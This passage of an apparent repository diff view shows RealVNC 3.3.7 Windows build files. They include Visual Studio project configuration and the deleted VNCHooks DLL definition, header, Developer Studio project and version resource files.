ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\tableinittctemplate.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\tabletranstemplate.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\translate.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncabout.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncacceptdialog.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncauth.c"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncbuffer.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncclient.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncconndialog.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vnccorbaconnect.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncdesktop.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncencodecorre.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncencodehext.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncencoder.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncencoderre.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncencodezrle.cxx"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vnchttpconnect.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncinsthandler.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vnckeymap.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vnclog.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncmenu.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncproperties.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncserver.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncservice.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncsk.cpp"
>
<FileConfiguration
Name="Release|Win32"
ExcludedFromBuild="true"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vncsockconnect.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vnctimedmsgbox.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\vsocket.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\winvnc.cpp"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
Optimization="1"
AdditionalIncludeDirectories=""
PreprocessorDefinitions="WIN32;NDEBUG;__x86__;__WIN32__;_WINDOWS;_MBCS;_OMNITHREAD_DLL;_WIN32_WINNT=0x400;$(NoInherit)"
BrowseInformation="1"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\winvnc\winvnc.def"
>
</File>
</Filter>
<File
RelativePath="..\building.txt"
>
</File>
<File
RelativePath="..\..\BUILDING.txt"
>
</File>
<File
RelativePath="..\history.txt"
>
</File>
<File
RelativePath="..\..\LICENCE.txt"
>
</File>
<File
RelativePath="..\README_BINARY.txt"
>
</File>
</Files>
<Globals>
</Globals>
</VisualStudioProject>

File diff suppressed because it is too large Load Diff

View File

@ -1,7 +0,0 @@
; VNCHooks.def : Declares the module parameters for the DLL.
LIBRARY "VNCHooks"
DESCRIPTION 'WinVNC 3.0 Hook Library'
SECTIONS
.SharedData read write shared

View File

@ -1,72 +0,0 @@
/////////////////////////////////////////////////////////////////////////////
// VNC Hooks library
//
// WinVNC uses this DLL to hook into the system message pipeline, allowing it
// to intercept messages which may be relevant to screen update strategy
//
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1997 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// VNC Hooks library
//
// This version created:
// 24/11/97
#if !defined(_VNCHOOKS_DLL_)
#define _VNCHOOKS_DLL_
#include <windows.h>
/////////////////////////////////////////////////////////////////////////////
// Define the import/export tags
#define DllImport __declspec(dllimport)
#define DllExport __declspec(dllexport)
/////////////////////////////////////////////////////////////////////////////
//
// Functions used by WinVNC
#define VNC_HOOKS_CATCHES_ALL 0x1 // Doesn't miss updates
#define VNC_HOOKS_CATCHES_MIN 0x2 // Reports minimal updates
extern "C"
{
// DLL functions:
DllExport DWORD HooksType(); // Find out whether hooks are reliable/hints
DllExport BOOL SetHooks(
DWORD thread_id,
UINT UpdateMsg,
UINT CopyMsg,
UINT MouseMsg
); // Set the hook
DllExport BOOL UnSetHooks(DWORD thread_id); // Remove it
DllExport BOOL SetKeyboardFilterHook(BOOL activate);
// Control keyboard filtering
DllExport BOOL SetMouseFilterHook(BOOL activate);
// Control mouse filtering
}
#endif // !defined(_VNCHOOKS_DLL_)

View File

@ -1,15 +0,0 @@
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by VNCHooks.rc
//
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 101
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1000
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

View File

@ -1,209 +0,0 @@
# Microsoft Developer Studio Project File - Name="vnchooks" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **
# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
CFG=vnchooks - Win32 Profile
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "vnchooks.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "vnchooks.mak" CFG="vnchooks - Win32 Profile"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "vnchooks - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vnchooks - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vnchooks - Win32 Release CORBA" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vnchooks - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vnchooks - Win32 Profile" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE
# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe
!IF "$(CFG)" == "vnchooks - Win32 Release"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "Release"
# PROP BASE Intermediate_Dir "Release"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release"
# PROP Intermediate_Dir "..\Release"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386
!ELSEIF "$(CFG)" == "vnchooks - Win32 Debug"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "Debug"
# PROP BASE Intermediate_Dir "Debug"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Debug"
# PROP Intermediate_Dir "..\Debug"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /YX /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
!ELSEIF "$(CFG)" == "vnchooks - Win32 Release CORBA"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vnchooks___Win32_Release_CORBA"
# PROP BASE Intermediate_Dir "vnchooks___Win32_Release_CORBA"
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release_CORBA"
# PROP Intermediate_Dir "..\Release_CORBA"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386
!ELSEIF "$(CFG)" == "vnchooks - Win32 Release CORBA DEBUG"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vnchooks___Win32_Release_CORBA_DEBUG"
# PROP BASE Intermediate_Dir "vnchooks___Win32_Release_CORBA_DEBUG"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "..\Release_CORBA_DEBUG"
# PROP Intermediate_Dir "..\Release_CORBA_DEBUG"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD CPP /nologo /MDd /W3 /GX /ZI /Od /D "_DEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386
# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /incremental:yes /debug /machine:I386
!ELSEIF "$(CFG)" == "vnchooks - Win32 Profile"
# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1
# PROP BASE Output_Dir "vnchooks___Win32_Profile"
# PROP BASE Intermediate_Dir "vnchooks___Win32_Profile"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 1
# PROP Output_Dir "..\Profile"
# PROP Intermediate_Dir "..\Profile"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c
# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "_DEBUG"
# ADD RSC /l 0x809 /d "_DEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /profile /debug /machine:I386
!ENDIF
# Begin Target
# Name "vnchooks - Win32 Release"
# Name "vnchooks - Win32 Debug"
# Name "vnchooks - Win32 Release CORBA"
# Name "vnchooks - Win32 Release CORBA DEBUG"
# Name "vnchooks - Win32 Profile"
# Begin Group "Source Files"
# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
# Begin Source File
SOURCE=.\VNCHooks.cpp
# End Source File
# Begin Source File
SOURCE=.\VNCHooks.def
# End Source File
# Begin Source File
SOURCE=.\VNCHooks.rc
# End Source File
# End Group
# Begin Group "Header Files"
# PROP Default_Filter "h;hpp;hxx;hm;inl"
# Begin Source File
SOURCE=.\resource.h
# End Source File
# Begin Source File
SOURCE=.\VNCHooks.h
# End Source File
# End Group
# Begin Group "Resource Files"
# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
# End Group
# End Target
# End Project

View File

@ -1,109 +0,0 @@
//Microsoft Developer Studio generated resource script.
//
#include "resource.h"
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (U.K.) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
#ifdef _WIN32
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
#pragma code_page(1252)
#endif //_WIN32
#ifndef _MAC
/////////////////////////////////////////////////////////////////////////////
//
// Version
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 3,3,7,0
PRODUCTVERSION 3,3,7,0
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
FILEFLAGS 0x1L
#else
FILEFLAGS 0x0L
#endif
FILEOS 0x40004L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "080904b0"
BEGIN
VALUE "Comments", "\0"
VALUE "CompanyName", "RealVNC Ltd.\0"
VALUE "FileDescription", "VNC hooks DLL for Win32\0"
VALUE "FileVersion", "3, 3, 7, 0\0"
VALUE "InternalName", "VNCHooks\0"
VALUE "LegalCopyright", "Copyright RealVNC Ltd.© 2002-2003, AT&T Research Labs Cambridge© 1996-2001\0"
VALUE "LegalTrademarks", "\0"
VALUE "OriginalFilename", "VNCHooks.dll\0"
VALUE "PrivateBuild", "\0"
VALUE "ProductName", "RealVNC Ltd. - VNCHooks\0"
VALUE "ProductVersion", "3, 3, 7, 0\0"
VALUE "SpecialBuild", "\0"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x809, 1200
END
END
#endif // !_MAC
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE DISCARDABLE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE DISCARDABLE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE DISCARDABLE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
#endif // English (U.K.) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

View File

@ -1,117 +0,0 @@
<?xml version="1.0" encoding="Windows-1252"?>
<VisualStudioProject
ProjectType="Visual C++"
Version="7.10"
Name="vnchooks"
SccProjectName=""
SccLocalPath="">
<Platforms>
<Platform
Name="Win32"/>
</Platforms>
<Configurations>
<Configuration
Name="Release|Win32"
OutputDirectory=".\..\Release"
IntermediateDirectory=".\..\Release"
ConfigurationType="2"
UseOfMFC="0"
ATLMinimizesCRunTimeLibraryUsage="FALSE"
CharacterSet="2">
<Tool
Name="VCCLCompilerTool"
Optimization="2"
InlineFunctionExpansion="1"
